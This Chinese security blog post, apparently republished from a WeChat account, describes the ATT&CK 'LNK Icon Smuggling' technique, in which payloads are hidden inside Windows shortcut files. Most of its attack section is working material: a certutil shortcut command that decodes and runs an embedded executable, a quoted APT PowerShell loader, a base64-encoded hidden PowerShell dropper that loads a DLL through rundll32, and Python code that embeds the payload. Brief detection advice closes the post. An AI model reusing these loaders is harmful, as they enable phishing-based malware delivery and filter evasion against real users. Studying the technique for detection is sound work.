ATT&CK框架更新跟踪-LNK Icon Smuggling技术

admin 2023年11月28日23:15:16评论68 views字数 5446阅读18分9秒阅读模式
在最新版的ATT&CK框架中,观察到windows上一个新增的技术点——LNK Icon SmugglingLNK 图标走私)。

0x01 LNK Icon Smuggling简介

根据官方的解释,攻击者可能会通过将恶意负载隐藏在看似良性的Windows快捷方式文件中来走私命令,通过内容过滤器下载恶意负载。Windows快捷方式文件(.LNK)包含许多元数据字段,其中包括图标位置字段(IconEnvironmentDataBlock),旨在指定要为主机目录中的 LNK 文件显示的图标文件的路径。攻击者可能会滥用此LNK元数据来下载恶意负载。例如,我们观察到攻击者使用LNK文件作为网络钓鱼负载来传播恶意软件。一旦该元数据中的远程恶意负载被恶意文件等调用,就可以下载通过LNK图标位置字段内的外部URL引用的有效负载。这些文件也可以由LNK的目标路径字段中的命令和脚本解释器/系统二进制代理执行参数调用。
通俗来讲,就是可以在标识LNK图标的位置插入远程的恶意负载,比如http://xx.xx.xx.xx/123,可以在LNK的指令中实现从LNK文件里把这个远程地址解析出来,然后作为恶意软件或者有远程下载/执行能力的系统程序的参数,实现远程下载或执行。
举个例子,比如在一个普通的LNK钓鱼场景中,LNK指向的指令是调用powershell远程下载并执行了http://xx.xx.xx.xx/payload.exe文件;而在LNK Icon Smuggling钓鱼场景中,http://xx.xx.xx.xx/payload.exe这一远程payload的字符串是加密写在了LNK文件的图标位置字段的数据中,而不是指向的指令中,LNK的指令是需要先用powershellLNK文件数据的特定位置将远程payload字符串解析出来,然后作为参数传给下载执行的函数来下载或执行payload文件。
从官方的解释来看,感觉有点鸡肋,但是可以用这个思路来优化这种攻击方式。比如可以考虑将恶意payload文件(比如是一个exe)数据加密嵌入在LNK文件的数据中,LNK文件的指令实现将EXE文件解密落地指执行,从而省去了远程下载的步骤。而且也不一定要嵌入在IconEnvironmentDataBlock元数据中,直接追加在文件数据末尾也可以,所以笔者认为这种攻击方式可以直接叫LNK Smuggling仅代表个人观点,如有不对欢迎指正~)。

0x02 实现方法

要利用这种方法,需要LNK文件指向的程序具有解析文件字节数据的能力,能实现从特定的文件偏移将特定长度的文件数据取出来进行解密、落地。下面介绍两种可以实现这一思路的方法。
1、利用certutil
"-----BEGIN CERTIFICATE-----""-----END CERTIFICATE-----"是一种被称作PEMPrivacy Enhanced Mail)格式文件的标志,此标准主要用于定义如何以ASCII表示包括X.509证书和私钥等数据。这种格式往往包含在"-----BEGIN CERTIFICATE-----""-----END CERTIFICATE-----"标签之间的Base64编码的二进制数据。
certutil具有许多用于操作数字证书的功能,其中就包括解析和处理PEM格式的功能,certutil -encode可以自动识别并解码 "-----BEGIN CERTIFICATE-----" "-----END CERTIFICATE-----"之间的Base64数据。
利用这一特性,可以将PE文件的字节数据进行base64编码后用 、"-----BEGIN CERTIFICATE-----""-----END CERTIFICATE-----"框定,嵌入到LNK文件中,在LNK的指令中使用certutil -encode直接解码LNK文件自身并执行解码后的文件,就能自动识别和解密两个标志之间的PE文件数据,实现文件落地和执行。
可以写py代码来实现上述LNK文件的生成,根据传入的PE文件路径和LNK文件名生成符合上述条件的快捷方式,这里怕被滥用,不展示了,可以自行去搜或者写。
生成快捷方式,快捷方式的指令是遍历当前目录的所有.lnk文件,并尝试使用certutil来解码每个文件。解码出的文件将以8个随机字母组成的字符串作为文件名,并保存为.exe文件。然后移动和执行.exe文件。
%COMSPEC% /c "@echo off&(for %i in (*.lnk) do certutil -decode %i vNLllKOr.exe)&move vNLllKOr.exe C:Users%username%AppDataRoamingMicrosoft&start C:Users%username%AppDataRoamingMicrosoftvNLllKOr.exe
ATT&CK框架更新跟踪-LNK Icon Smuggling技术
查看快捷方式文件字节数据,calc.exe的文件数据以base64编码的形式追加在了LNK文件中,用"-----BEGIN CERTIFICATE-----""-----END CERTIFICATE-----"框定:
ATT&CK框架更新跟踪-LNK Icon Smuggling技术
ATT&CK框架更新跟踪-LNK Icon Smuggling技术
双击快捷方式,实现PE文件数据解密落地和执行:
ATT&CK框架更新跟踪-LNK Icon Smuggling技术

2、利用powershell
PowershellFileStream.SeekFileStream.Read方法结合使用可以实现对文件特定位置区间的字节数据读取,例如读取文件流对象$ifd0x00001000位置到0x00002000位置的文件字节数据到数组$x
$ifd.Seek(0x00001000,[IO.SeekOrigin]::Begin);$ifd.Read($x,0,0x00002000-0x00001000);
payload嵌在LNK文件中,通过powershell实现payload的读取解密和执行,这种方法其实早在2016年就有APT组织使用过,相关lnk样本的指令是一段powershell指令
ATT&CK框架更新跟踪-LNK Icon Smuggling技术
Base64解密后:
$os=0x0009fdda;$oe=0x000a1916;$f="37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk";if (-not(Test-Path $f)){$x = Get-ChildItem -Path $Env:temp -Filter $f -Recurse;[IO.Directory]::SetCurrentDirectory($x.DirectoryName);}$ifd = New-Object IO.FileStream $f,'Open','Read','ReadWrite';$x = New-Object byte[]($oe-$os);$ifd.Seek($os,[IO.SeekOrigin]::Begin);$ifd.Read($x,0,$oe-$os);$x=[Convert]::FromBase64CharArray($x,0,$x.Length);$s=[Text.Encoding]::ASCII.GetString($x);iex $s;
这段代码实现了从lnk文件偏移0x9fdda的位置提取数据直到到0xa1916位置,将提取的数据经过base解密后执行。
lnk文件偏移0x9fdda位置其实是base64加密的powershell代码
ATT&CK框架更新跟踪-LNK Icon Smuggling技术
将这段ps代码进行base64解密(太长了不做展示了),发现其有一些环境检测,并实现了从lnk文件中读取和解密诱饵文档数据、恶意dll数据,并生成文件,然后打开诱饵文档,使用rundll32加载dll。也就是说这个LNK文件中其实嵌了三块数据,长powershell指令数据、诱饵文档数据、恶意dll数据。
参考这个样本,来简单复现一下这种手法。
准备一个要落地加载的dll文件,然后将dll文件数据进行base编码写到一个文件里,通过字节数据编辑器打开确定编码后的dll文件大小,这里不演示了,示例中使用的calc.dll经过base64编码后字节数据为0x2D58大小。
然后确定要嵌入的文件所在位置为0x00002000(别太靠前),先写好powershell代码,实现从LNK文件的0x00002000位置到0x00002D58位置读取数据并解码,在temp目录落地calc.dll文件,然后使用rundll32加载:
$os=0x00002000;$oe=0x00004D58;$f="document2.pdf.lnk";$ifd = New-Object IO.FileStream $f,'Open','Read','ReadWrite';$x = New-Object byte[]($oe-$os);$ifd.Seek($os,[IO.SeekOrigin]::Begin);$ifd.Read($x, 0, $oe-$os);$s=[Text.Encoding]::ASCII.GetString($x);$bytes = [System.Convert]::FromBase64String($s);$output_filepath = Join-Path $env:TEMP "calc.dll";[System.IO.File]::WriteAllBytes($output_filepath, $bytes);Start-Process -FilePath "C:windowssystem32rundll32.exe" -ArgumentList "$output_filepath,dllmain"
然后将这些代码转成base64,写好用powershell解码并执行这些数据的指令:
powershell.exe -noni -ep bypass -win hidden $s = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JG9zPTB4MDAwMDIwMDA7CiRvZT0weDAwMDA0RDU4OwokZj0iZG9jdW1lbnQyLnBkZi5sbmsiOwokaWZkID0gTmV3LU9iamVjdCBJTy5GaWxlU3RyZWFtICRmLCdPcGVuJywnUmVhZCcsJ1JlYWRXcml0ZSc7CiR4ID0gTmV3LU9iamVjdCBieXRlW10oJG9lLSRvcyk7CiRpZmQuU2Vlaygkb3MsW0lPLlNlZWtPcmlnaW5dOjpCZWdpbik7CiRpZmQuUmVhZCgkeCwgMCwgJG9lLSRvcyk7CiRzPVtUZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKCR4KTsKJGJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcyk7CiRvdXRwdXRfZmlsZXBhdGggPSBKb2luLVBhdGggJGVudjpURU1QICJjYWxjLmRsbCI7CltTeXN0ZW0uSU8uRmlsZV06OldyaXRlQWxsQnl0ZXMoJG91dHB1dF9maWxlcGF0aCwgJGJ5dGVzKTsKU3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XHdpbmRvd3Ncc3lzdGVtMzJccnVuZGxsMzIuZXhlIiAtQXJndW1lbnRMaXN0ICIkb3V0cHV0X2ZpbGVwYXRoLGRsbG1haW4i'));iex $s;
最后制作LNK文件,将LNK的指令设置为上面的ps指令:
ATT&CK框架更新跟踪-LNK Icon Smuggling技术
生成LNK文件后,再用下面的py代码把calc.dll文件数据嵌入进去:
import base64import os# 指定插入位置的偏移量hex_offset = "0x00002000"offset = int(hex_offset, 16)# 开始读取并编码要嵌入的文件with open("C:\Users\xxx\Desktop\lnktest\calc.dll", "rb") as source_file:    encoded = base64.b64encode(source_file.read())# 在目标文件的指定偏移量处插入编码后的数据with open("C:\Users\xxx\Desktop\lnktest\document2.pdf.lnk", 'r+b') as target_file:      target_file.seek(offset) #定位到文件特定偏移量    target_file.write(encoded)  #写入新的base64编码数据
DLL文件数据位置如图:
ATT&CK框架更新跟踪-LNK Icon Smuggling技术
双击快捷方式,DLL文件落地被rundll32加载起来:
ATT&CK框架更新跟踪-LNK Icon Smuggling技术

0x03 检测方法
1、杀软或EDR最好能够在LNK文件落地时对LNK文件的指向进行解析,对可疑的LNK文件指令进行监控;
2、监控互联网来源的LNK文件释放行为,重点关注xx.doc.lnkxx.txt.lnk这种双后缀的;
3、监控certutilpowershell一些特殊指令的使用。


原文始发于微信公众号(红蓝攻防研究实验室):ATT&CK框架更新跟踪-LNK Icon Smuggling技术

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月28日23:15:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ATT&CK框架更新跟踪-LNK Icon Smuggling技术http://cn-sec.com/archives/2249429.html

发表评论

匿名网友 填写信息